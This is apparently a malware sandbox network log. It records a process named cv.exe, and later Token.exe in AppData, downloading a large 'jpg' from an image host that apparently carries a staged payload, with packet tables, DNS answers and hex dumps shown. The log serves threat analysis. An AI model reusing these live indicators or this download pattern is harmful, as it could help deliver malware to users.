Dec 13, 2024 13:28:41.711168051 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.712162971 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.712234020 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.714238882 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.714785099 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.716090918 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.716149092 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.717143059 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.717206955 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.719337940 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.719464064 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.721168995 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.721230984 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.722970009 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.723090887 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.724108934 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.724200964 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.726001978 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.726100922 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.728055000 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.728137016 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.729053974 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.729120970 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.730925083 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.731038094 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.732970953 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.733115911 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.734477043 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.734637022 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.735543966 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.735673904 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.737510920 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.737570047 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.739397049 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.739475965 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.741364956 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.741419077 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.742619991 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.742716074 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.744513035 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.744591951 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.746485949 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.746654034 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.747629881 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.747869015 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.749727964 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.749949932 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.765973091 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.836308956 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.836625099 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.837395906 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.837461948 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.893737078 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.893834114 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.894859076 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.894932985 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.896689892 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.896755934 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.898682117 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.898972034 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.899743080 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.899849892 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.901674032 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.901927948 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.903748989 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.903842926 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.904798985 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.904923916 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.906790972 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.906894922 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.908596992 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.908684015 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.910088062 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.910195112 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.911984921 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.912091017 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.913517952 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.913588047 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.914700031 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.914777994 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.916587114 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.916691065 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.918498993 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.918582916 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.919715881 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.920032024 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.921560049 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.921715021 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.923424959 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.923655987 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.925529957 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.925640106 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.926944971 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.927047968 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.928071022 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.928159952 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.930042028 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.930152893 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.931930065 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.932094097 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.933094978 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.933219910 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.935005903 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.935170889 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.935883999 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.935970068 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.935977936 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.936090946 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.938513994 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.941364050 CET	49732	443	192.168.2.10	91.134.10.168

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 13, 2024 13:27:24.327532053 CET	62407	53	192.168.2.10	1.1.1.1
Dec 13, 2024 13:27:24.467555046 CET	53	62407	1.1.1.1	192.168.2.10
Dec 13, 2024 13:28:06.400660992 CET	58642	53	192.168.2.10	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 13, 2024 13:27:24.327532053 CET	192.168.2.10	1.1.1.1	0xb866	Standard query (0)	i.ibb.co	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:28:06.400660992 CET	192.168.2.10	1.1.1.1	0xf406	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 13, 2024 13:27:24.467555046 CET	1.1.1.1	192.168.2.10	0xb866	No error (0)	i.ibb.co		91.134.10.168	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:27:24.467555046 CET	1.1.1.1	192.168.2.10	0xb866	No error (0)	i.ibb.co		91.134.10.127	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:27:24.467555046 CET	1.1.1.1	192.168.2.10	0xb866	No error (0)	i.ibb.co		91.134.9.160	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:27:24.467555046 CET	1.1.1.1	192.168.2.10	0xb866	No error (0)	i.ibb.co		91.134.82.79	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:27:24.467555046 CET	1.1.1.1	192.168.2.10	0xb866	No error (0)	i.ibb.co		91.134.10.182	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:27:24.467555046 CET	1.1.1.1	192.168.2.10	0xb866	No error (0)	i.ibb.co		91.134.9.159	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:28:06.624769926 CET	1.1.1.1	192.168.2.10	0xf406	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 13, 2024 13:28:08.756700993 CET	1.1.1.1	192.168.2.10	0xb276	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:28:08.756700993 CET	1.1.1.1	192.168.2.10	0xb276	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:29:09.258558035 CET	1.1.1.1	192.168.2.10	0x8011	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:29:09.258558035 CET	1.1.1.1	192.168.2.10	0x8011	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

i.ibb.co

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49712	91.134.10.168	443	7832	C:\Users\user\Desktop\cv.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 12:27:25 UTC	90	OUT	GET /4VpfCKs/pilotxprograms-Final.jpg HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive
2024-12-13 12:27:26 UTC	382	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 13 Dec 2024 12:27:26 GMT Content-Type: image/jpeg Content-Length: 4621599 Connection: close Last-Modified: Sat, 23 Nov 2024 03:39:14 GMT Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Cache-Control: public Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, OPTIONS Accept-Ranges: bytes
2024-12-13 12:27:26 UTC	3714	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 07 07 07 07 08 07 08 09 09 08 0c 0c 0b 0c 0c 11 10 0e 0e 10 11 1a 12 14 12 14 12 1a 27 18 1d 18 18 1d 18 27 23 2a 22 20 22 2a 23 3e 31 2b 2b 31 3e 48 3c 39 3c 48 57 4e 4e 57 6d 68 6d 8f 8f c0 01 07 07 07 07 08 07 08 09 09 08 0c 0c 0b 0c 0c 11 10 0e 0e 10 11 1a 12 14 12 14 12 1a 27 18 1d 18 18 1d 18 27 23 2a 22 20 22 2a 23 3e 31 2b 2b 31 3e 48 3c 39 3c 48 57 4e 4e 57 6d 68 6d 8f 8f c0 ff c2 00 11 08 05 00 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 01 01 00 02 03 01 01 00 00 00 00 00 00 00 00 00 00 01 02 06 03 04 05 07 08 ff da 00 08 01 01 00 00 00 00 fd 10 32 c4 29 10 b1 60 2c b0 00 00 80 02 16 02 90 09 50 08 08 11 8e 19 e4 4a 42 2c 02 2a 20 8a 88 08 81 2c 08 45 41 61 32 91 Data Ascii: JFIF''#" "#>1++1>H<9<HWNNWmhm''#" "#>1++1>H<9<HWNNWmhm"2)`,PJB,* ,EAa2
2024-12-13 12:27:26 UTC	4096	IN	Data Raw: 12 92 a0 00 84 2d 10 a2 22 25 84 10 08 11 44 92 54 63 9a 02 04 82 08 b2 90 18 80 11 40 12 c0 81 12 c4 89 04 10 92 31 d9 14 40 14 80 4a 04 b0 01 0a 40 00 00 80 b0 10 0a a8 a9 20 12 08 20 10 25 4a 92 4a 30 cd 2c 20 82 08 08 a4 18 8b 0b 08 a4 29 00 41 02 31 95 21 04 24 92 6c 94 80 05 80 02 16 14 89 48 a2 58 2c 00 08 00 25 44 55 0a 71 f1 63 73 ca d4 12 02 04 02 54 89 28 e3 e4 20 84 08 42 54 2a 02 4c 73 85 84 52 2c b0 04 25 44 b2 41 20 82 24 92 6c 94 80 0a 82 50 11 65 80 40 a1 2c 58 00 10 16 02 04 5a 15 f9 4b 5a fd 59 dc c3 9b b1 cb 9e 60 84 40 8b 08 58 84 94 61 99 04 20 41 12 90 a8 42 2c 02 15 28 80 20 96 11 20 91 16 09 24 c6 6c a0 a8 02 28 04 0b 05 88 0b 00 a8 2c 04 b0 00 10 0a 2d d7 bf 39 ec 3b 8e cf d7 ef 7a 1d be 7e 4c b2 84 42 02 58 08 42 4a 31 a0 41 08 Data Ascii: -"%DTc@1@J@ %JJ0, )A1!$lHX,%DUqcsT( BT*LsR,%DA $lPe@,XZKZY`@Xa AB,( $l(,-9;z~LBXBJ1A
2024-12-13 12:27:26 UTC	4096	IN	Data Raw: ef f3 76 b2 eb fd 3b df 5e b7 5b a7 e0 e8 9f 0e 6e 7b 36 cf ea 73 e7 c5 96 37 2e 7e c7 36 7c 9d 6c 3c 8d 37 d4 da bd df 47 b5 cb 95 91 08 8c 6a 22 e3 2a 08 02 00 80 00 20 41 20 8a 24 92 4b 11 8c 80 8c 76 72 c0 00 2c 94 94 0c 55 02 c2 90 01 05 4a 82 50 0a be 43 db e3 e3 f3 bc 2f 1f 55 ca 76 32 c3 86 fd 03 70 5e bf 07 4b c4 d4 7f 3f 70 6d 1b 67 a7 df e4 e4 ed 72 f2 5c b9 b9 f9 f9 79 7b 17 af c7 ad eb 7b 2e c9 ec 77 bb 3c b5 09 09 08 44 20 40 10 08 54 01 2a 08 b0 88 82 c2 31 82 43 1c 41 18 ec ea 85 80 58 09 52 a0 40 14 2a 40 b0 20 00 05 8a 3c 7e 6f 5b 8f 8b cc f0 bc 8f 07 c7 f6 78 f3 c7 cc c3 87 e8 7f 45 5e 1e b7 4f c7 d5 7e 15 ae fb db 8e c5 eb f6 1c 8e af 65 7b 39 72 76 fb 7c dc 98 70 75 7e 79 cf b6 fb fe a7 73 b1 c9 61 22 49 64 b0 24 10 04 02 00 02 58 20 Data Ascii: v;^[n{6s7.~6\|l<7Gj"* A $Kvr,UJPC/Uv2p^K?pmgr\y{{.w<D @T1CAXR@@ <~o[xE^O~e{9rv\|pu~ysa"Id$X
2024-12-13 12:27:26 UTC	4096	IN	Data Raw: 80 00 00 00 00 11 40 00 00 00 25 89 98 dd a0 00 00 00 00 00 00 00 00 11 40 00 00 00 12 92 4c b6 d0 00 4a 00 00 00 00 00 00 94 04 a0 00 00 00 08 a4 92 67 7a a0 00 00 00 00 00 00 00 00 00 00 00 00 04 50 cb 39 e9 bc a8 00 00 00 00 00 00 00 00 00 00 00 00 08 a2 cc b3 9d f4 b9 94 00 00 00 00 00 00 00 00 00 00 00 00 08 a1 70 ce 75 d2 a4 a0 00 00 00 00 00 00 00 00 00 00 00 01 14 17 9d cc 75 a9 64 a0 00 00 00 00 00 00 00 00 00 00 00 08 a0 ac 49 27 65 08 00 00 00 00 00 00 00 00 00 00 00 01 28 2a 5c e5 9c f6 b4 58 cd 00 00 00 00 00 00 00 00 00 00 00 09 41 6c 33 24 cf 4d 28 12 50 00 00 00 00 00 00 00 00 00 00 04 50 b4 4c c9 33 bd d0 b2 11 40 00 00 00 00 12 80 00 00 00 00 12 80 d2 58 99 93 3a d6 85 21 66 74 00 00 00 00 00 00 00 00 00 00 22 81 a2 21 84 c5 dd b4 15 2d Data Ascii: @%@LJgzP9puudI'e(*\XAl3$M(PPL3@X:!ft"!-
2024-12-13 12:27:26 UTC	4096	IN	Data Raw: c1 e3 f7 f2 47 b3 3d 98 f5 69 71 49 c5 c9 32 5c 94 5f 4c e3 11 ab 8a 87 4c 7a 6d 09 8c ae 0c 1d 73 fa 79 c8 b9 0c 7c 93 25 cb eb 9c 5c 9a 86 57 3a 63 d1 68 0c 78 98 b8 3d 98 f5 4e 1f 6b 8b 0e 0c 6c 6c 97 2e ae dc 55 15 9c 88 e9 8f 41 a0 31 e2 e0 c1 83 c7 ef e5 8f 23 e5 77 f1 9b f6 69 87 06 1c 93 25 16 d5 c6 b5 0a 04 3a 6b 69 cf 5c c4 53 06 0c 1f 63 eb 67 c1 1f 5c 38 39 4d 92 09 d2 d2 4c 95 11 4e 9e fa 6b d6 30 94 c5 c1 83 d9 c7 bb be 1e 43 27 56 12 ad e8 8e 04 88 50 7d 31 ea 98 4a 62 e0 c1 83 c1 9f 28 3c 31 f0 a3 ec 7c ac 99 b8 c1 93 29 59 05 b8 a5 4e 21 cb 91 d3 6d 2d e9 b4 25 31 70 60 fb 6d df 6f dc 8f 2c 7a a7 d7 24 e6 32 5c 21 d6 74 b5 17 19 47 7c d5 6d 29 e9 34 26 3c 5c 18 3e e7 ee 7b 51 ec 7b f8 01 e5 c8 43 8b 92 63 07 c9 b2 e2 f1 74 5a 8e 40 d4 26 Data Ascii: G=iqI2\_LLzmsy\|%\W:chx=Nkll.UA1#wi%:ki\Scg\89MLNk0C'VP}1Jb(<1\|)YN!m-%1p`mo,z$2\!tG\|m)4&<\>{Q{CctZ@&
2024-12-13 12:27:26 UTC	4096	IN	Data Raw: dd 7f f9 99 f7 4d f7 a7 71 e6 27 d5 15 f0 af 0f b7 ce d3 c0 26 34 61 fa 88 01 93 0e c5 80 65 b8 6b a8 af cb 61 58 36 fe cf 8b 68 c4 32 12 8b 45 3a 78 30 e3 50 e1 e2 8f 6d ec 3c 53 4f 84 8d d5 9d 24 16 9b 0a dc a4 1c 50 e8 5a 90 48 93 43 fa 99 86 fa 7d 5b ea 9e a3 56 23 3a b8 19 d6 43 d3 3b ff 00 b2 31 6a 86 ce eb b8 0f 7b e5 5b 4f 6f 6d f7 d9 38 6b e1 f6 36 cf 65 b4 f6 ec 92 ca 09 93 3f 3e 57 ad 93 b0 70 63 0d b3 f0 cb 1a fc b7 d5 e4 3c dd ab b6 56 d9 5b 5a f8 14 12 2c 46 d5 03 05 2c ef d5 47 8a 8c 14 3b d6 bf 6e b1 9f 02 e2 8d e1 96 1c 5c 78 cc 5a f6 d4 76 26 c3 a4 7e 63 70 04 d6 18 20 8f 0a cc d8 4c 4c 2d 8b c1 5f 54 b6 52 44 7c 2b 75 ab 31 9d 5c 0a c8 7e e6 ee e3 fb 6d 81 3f a1 d3 d0 d6 2a 0d 81 8a 6c 2c 7b f3 04 66 55 e7 ba 2b 6c e3 a1 f8 29 b2 f0 78 Data Ascii: Mq'&4aekaX6h2E:x0Pm<SO$PZHC}[V#:C;1j{[Oom8k6e?>Wpc<V[Z,F,G;n\xZv&~cp LL-_TRD\|+u1\~m?*l,{fU+l)x
2024-12-13 12:27:26 UTC	4096	IN	Data Raw: 98 6f 0f 6d ab 18 b3 08 20 bb 32 06 2c cc 2f fe 5a da 62 db cf 08 f1 0d 5b 43 5e b2 0f 63 56 d6 8a 48 d1 31 b9 95 2f 93 38 16 d2 b6 f8 d6 68 1f f8 f3 fb ab 6a 13 f1 98 5c 0f 88 2e bf 65 16 de de 0a 08 72 3b 24 91 97 8f 41 e9 16 ae fa 3d 09 22 15 75 04 54 b1 8c af 2a f2 f9 63 f1 a8 67 5b ad 98 69 e1 50 cd f1 91 f6 24 e0 45 63 b6 74 9b b8 95 3b 9c 24 03 ed a4 75 04 3d e8 1b 67 40 f1 a0 7d 1d b4 12 26 0f 07 18 9b 1d 28 ba c7 a2 a0 f9 f2 1e 0b 49 81 eb 67 96 43 3e 32 7c e6 9d b5 6e e1 c9 47 01 5b b9 2e 6c 74 15 bb 72 4d d8 ea 7a 00 e3 d2 4f 1a 38 9c 52 af 01 ff 00 62 80 21 06 8a 2d 59 51 27 75 41 2d c8 66 6b 0f 84 dd 38 cc 54 38 72 da 07 6e d9 f0 51 99 ac 28 1f 9a e0 67 c4 12 40 0f 3d e0 8f 3e ed 6b 68 4e bf 9d 62 b7 53 84 38 7f 89 8f d7 6e d3 7a cd 2a 39 45 Data Ascii: om 2,/Zb[C^cVH1/8hj\.er;$A="uTcg[iP$Ect;$u=g@}&(IgC>2\|nG[.ltrMzO8Rb!-YQ'uA-fk8T8rnQ(g@=>khNbS8nz9E
2024-12-13 12:27:26 UTC	4096	IN	Data Raw: fd 00 e2 7f 4f 14 c9 b9 2c 6a eb c9 85 eb 67 e2 02 86 57 55 0c 0e e0 6b ad c7 71 a1 60 00 d0 55 be 89 eb f4 45 71 fb 4b 64 6c a6 f3 24 12 e2 1f c2 1b 05 f7 9b d3 60 54 e1 b1 51 bb e2 00 b4 7b 82 e6 6e 19 77 f3 a9 44 df 96 63 08 6c 43 64 a0 79 b0 af cd 5f bc d0 45 2a 0d 5e e6 f4 4d f3 a5 4f d6 96 04 e8 83 cf 3f 80 ef 35 be b6 70 a1 01 b8 8c 66 a0 f7 df ce 3d e6 86 f1 54 cc fd 9e 26 b1 38 e7 50 83 78 5c 10 e4 65 ea 1c 69 14 ef ca 0b b9 d4 9c e9 23 51 65 a0 2a df b1 e6 3c 8c a8 e6 2f 41 59 1c 0d 6e 09 ac e8 de ac 29 cf 69 aa c7 4a 25 77 77 6d 47 ce 2e 6d cb 4a 50 08 5a eb f0 a8 df 29 7b 2d ea fd 1e 84 8d 34 fa 1f 88 12 62 0c b2 ab a1 7f 8a 01 6c 51 2d a1 e6 6f f4 9f 7f e1 80 3c 61 d9 9f fe c7 ff 00 4a 40 4b 10 3c 69 41 2a 0d 5e f6 34 a1 4b 33 85 5e 24 d3 e4 Data Ascii: O,jgWUkq`UEqKdl$`TQ{nwDclCdy_E^MO?5pf=T&8Px\ei#Qe</AYn)iJ%wwmG.mJPZ){-4blQ-o<aJ@K<iA*^4K3^$
2024-12-13 12:27:26 UTC	4096	IN	Data Raw: 61 6d 63 69 6f 61 74 70 6c 61 6d 63 69 6f 61 74 70 40 61 61 63 69 6f 61 74 70 6c 61 6d 63 69 6f 61 74 70 6c 61 6d 63 69 6f 61 74 70 6c 61 6d 63 69 6f 61 74 70 6c 61 6d 63 69 6f 61 74 70 6c 61 6d 63 69 6f 61 74 70 6c 41 6d 63 61 6f 61 74 70 6c 61 6d 63 69 6f 61 7c 50 6c 61 25 63 69 6f 61 74 70 6c 61 6d 63 69 41 15 11 08 18 61 6d 63 5d d6 4a 74 70 4c 61 6d 63 d3 44 61 74 72 6c 61 6d 63 69 6f 61 74 70 6c 61 6d 63 69 4f 61 74 10 42 13 1e 11 0a 6f 61 74 fc 6f 61 6d 63 89 44 61 74 74 6c 61 6d df 42 6f 61 74 70 6c 61 6d 63 69 6f 61 74 70 2c 61 6d 23 47 1d 04 18 1f 0f 61 6d 6f 69 6f 61 74 70 40 61 6d 61 69 6f 61 b4 5b 6c 61 6d 63 69 6f 61 74 70 6c 61 6d 63 29 6f 61 36 70 6c 61 6d 63 69 6f 61 74 70 6c 61 6d 63 69 6f 71 ad 5b 6c 61 6d 63 69 27 61 74 70 6e 61 68 63 Data Ascii: amcioatplamcioatp@aacioatplamcioatplamcioatplamcioatplamcioatplamcioatplAmcaoatplamcioa\|Pla%cioatplamciAamc]JtpLamcDatrlamcioatplamciOatBoatoamcDattlamBoatplamcioatp,am#Gamoioatp@amaioa[lamcioatplamc)oa6plamcioatplamcioq[lamci'atpnahc
2024-12-13 12:27:26 UTC	4096	IN	Data Raw: 53 3b df 3f 27 50 b5 84 0c 2b d3 1c 0a b7 d2 43 65 59 32 60 18 5f 2d fc 1f db fb da 02 63 dc 07 6c 9f 6c b8 d8 5b c9 e8 f9 9c 84 32 ac e1 7a db 5d 63 07 02 5c b2 f8 d3 76 b0 7a ab 5e 0b 82 dc 2e bc d4 8b 54 86 4a a2 42 b5 fe 01 df 3c eb 0d a3 e5 26 13 e7 ed 42 85 07 c4 bd 64 a0 8a fe aa de f3 b5 5b 29 31 92 f0 f9 ec c6 ef a9 37 38 9a c7 f5 da 25 a9 b5 4e 28 23 0d 80 db e1 92 bd d0 53 ce 43 67 53 8a 6f 39 b7 de 61 1c d1 cd 9b 67 ac d5 fe de 57 a1 2c d9 82 f7 68 e0 99 27 ae de 1c 39 f8 39 e8 a0 be 34 96 b4 67 d2 35 a0 67 89 39 79 41 76 53 b9 eb 57 7a f2 e6 cb e7 2d 43 55 e7 a8 48 01 5b 43 fe ef 87 de 8c d5 72 3b cb 0b ae 9b af 83 46 ad c6 fa f6 ff 06 2e 03 e0 5e b8 52 df de 67 c9 86 f9 8f 1a 5c b0 9c 7e 06 6e e1 89 1b 9a 14 6f 65 ff bd f3 60 c5 78 f8 45 ec Data Ascii: S;?'P+CeY2`_-cll[2z]c\vz^.TJB<&Bd[)178%N(#SCgSo9agW,h'994g5g9yAvSWz-CUH[Cr;F.^Rg\~noe`xE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49732	91.134.10.168	443	7940	C:\Users\user\AppData\Local\AllData\egsflr\Token.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 12:28:34 UTC	90	OUT	GET /4VpfCKs/pilotxprograms-Final.jpg HTTP/1.1 Host: i.ibb.co Connection: Keep-Alive
2024-12-13 12:28:34 UTC	382	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 13 Dec 2024 12:28:34 GMT Content-Type: image/jpeg Content-Length: 4621599 Connection: close Last-Modified: Sat, 23 Nov 2024 03:39:14 GMT Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Cache-Control: public Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, OPTIONS Accept-Ranges: bytes
2024-12-13 12:28:34 UTC	3714	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 07 07 07 07 08 07 08 09 09 08 0c 0c 0b 0c 0c 11 10 0e 0e 10 11 1a 12 14 12 14 12 1a 27 18 1d 18 18 1d 18 27 23 2a 22 20 22 2a 23 3e 31 2b 2b 31 3e 48 3c 39 3c 48 57 4e 4e 57 6d 68 6d 8f 8f c0 01 07 07 07 07 08 07 08 09 09 08 0c 0c 0b 0c 0c 11 10 0e 0e 10 11 1a 12 14 12 14 12 1a 27 18 1d 18 18 1d 18 27 23 2a 22 20 22 2a 23 3e 31 2b 2b 31 3e 48 3c 39 3c 48 57 4e 4e 57 6d 68 6d 8f 8f c0 ff c2 00 11 08 05 00 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 01 01 00 02 03 01 01 00 00 00 00 00 00 00 00 00 00 01 02 06 03 04 05 07 08 ff da 00 08 01 01 00 00 00 00 fd 10 32 c4 29 10 b1 60 2c b0 00 